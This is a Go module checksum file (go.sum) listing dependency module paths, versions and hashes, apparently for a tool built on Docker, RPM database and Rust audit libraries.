cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1 h1:UQHMgLO+TxOElx5B5HZ4hJQsoJ/PvUvKRhJHDQXO8P8=
github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E=
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
github.com/Azure/go-autorest/autorest v0.11.18/go.mod h1:dSiJPy22c3u0OtOKDNttNgqpNFY/GeWa7GH/Pz56QRA=
github.com/Azure/go-autorest/autorest/adal v0.9.13/go.mod h1:W/MM4U6nLxnIskrw4UwWzlHfGjwUS50aOsc/I3yuU8M=
github.com/Azure/go-autorest/autorest/date v0.3.0/go.mod h1:BI0uouVdmngYNUzGWeSYnokU+TrmwEsOqdt8Y6sso74=
github.com/Azure/go-autorest/autorest/mocks v0.4.1/go.mod h1:LTp+uSrOhSkaKrUy935gNZuuIPPVsHlr9DSOxSayd+k=
github.com/Azure/go-autorest/logger v0.2.1/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8=
github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU=
github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Microsoft/go-winio v0.5.2 h1:a9IhgEQBCUEk6QCdml9CiJGhAws+YwffDHEMp1VMrpA=
github.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY=
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/docker/distribution v2.8.1+incompatible h1:Q50tZOPR6T/hjNsyc9g8/syEs6bk8XXApsHjKukMl68=
github.com/docker/distribution v2.8.1+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w=
github.com/docker/docker v20.10.17+incompatible h1:JYCuMrWaVNophQTOrMMoSwudOVEfcegoZZrleKc1xwE=
github.com/docker/docker v20.10.17+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk=
github.com/docker/go-connections v0.4.0 h1:El9xVISelRB7BuFusrZozjnkIM5YnzCViNKohAFqRJQ=
github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec=
github.com/docker/go-units v0.4.0 h1:3uh0PgVws3nIA0Q+MwDC8yjEPf9zjRfZZWXZYDct3Tw=
github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE=
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153 h1:yUdfgN0XgIJw7foRItutHYUIhlcKzcSf5vDpdhQAKTc=
github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=
github.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/evanphx/json-patch v4.11.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
github.com/form3tech-oss/jwt-go v3.2.3+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=
github.com/go-logr/logr v0.4.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU=
github.com/go-logr/logr v1.2.0/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
github.com/go-logr/logr v1.2.2 h1:ahHml/yUpnlb96Rp8HCvtYVPY8ZYpxq3g7UYchIYwbs=
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg=
github.com/go-openapi/jsonreference v0.19.3/go.mod h1:rjx6GuL8TTa9VaixXglHmQmIL98+wF9xc8zWvFonSJ8=
github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
github.com/googleapis/gnostic v0.5.1/go.mod h1:6U4PtQXGIEt/Z3h5MAT7FNofLnw9vXk2cUuW7uA/OeU=
github.com/googleapis/gnostic v0.5.5 h1:9fHAtK0uDfpveeqqo1hkEZJcFvYXAiCN3UutL8F9xHw=
github.com/googleapis/gnostic v0.5.5/go.mod h1:7+EbHbldMins07ALC74bsA81Ovc97DwqyJO1AENw9kA=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA=
github.com/hashicorp/go-version v1.6.0 h1:feTTfFNnjP967rlCxM/I9g701jU+RN74YKx2mOkIeek=
github.com/hashicorp/go-version v1.6.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/imdario/mergo v0.3.5/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
github.com/imdario/mergo v0.3.12 h1:b6R2BslTbIEToALKP7LxUvijTsNI9TAe80pLWN2g/HU=
github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA=
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/knqyf263/go-rpm-version v0.0.0-20220614171824-631e686d1075 h1:aC6MEAs3PE3lWD7lqrJfDxHd6hcced9R4JTZu85cJwU=
github.com/knqyf263/go-rpm-version v0.0.0-20220614171824-631e686d1075/go.mod h1:i4sF0l1fFnY1aiw08QQSwVAFxHEm311Me3WsU/X7nL0=
github.com/knqyf263/go-rpmdb v0.0.0-20221030135625-4082a22221ce h1:/w0hAcauo/FBVaBvNMQdPZgKjTu5Ip3jvGIM1+VUE7o=
github.com/knqyf263/go-rpmdb v0.0.0-20221030135625-4082a22221ce/go.mod h1:zp6SMcRd0GB+uwNJjr+DkrNZdQZ4er2HMO6KyD0vIGU=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/microsoft/go-rustaudit v0.0.0-20220808201409-204dfee52032 h1:TLygBUBxikNJJfLwgm+Qwdgq1FtfV8Uh7bcxRyTzK8s=
github.com/microsoft/go-rustaudit v0.0.0-20220808201409-204dfee52032/go.mod h1:vYT9HE7WCvL64iVeZylKmCsWKfE+JZ8105iuh2Trk8g=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/moby/spdystream v0.2.0 h1:cjW1zVyyoiM0T7b6UoySUFqzXMoqRckQtXwGPiBhOM8=
github.com/moby/spdystream v0.2.0/go.mod h1:f7i0iNDQJ059oMTcWxx8MA/zKFIuD/lY+0GqbN2Wy8c=
github.com/moby/term v0.0.0-20210619224110-3f7ff695adc6 h1:dcztxKSvZ4Id8iPpHERQBbIJfabdt4wUm5qy3wOL2Zc=
github.com/moby/term v0.0.0-20210619224110-3f7ff695adc6/go.mod h1:E2VnQOmVuvZB6UYnnDB0qG5Nq/1tD9acaOpo6xmt0Kw=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
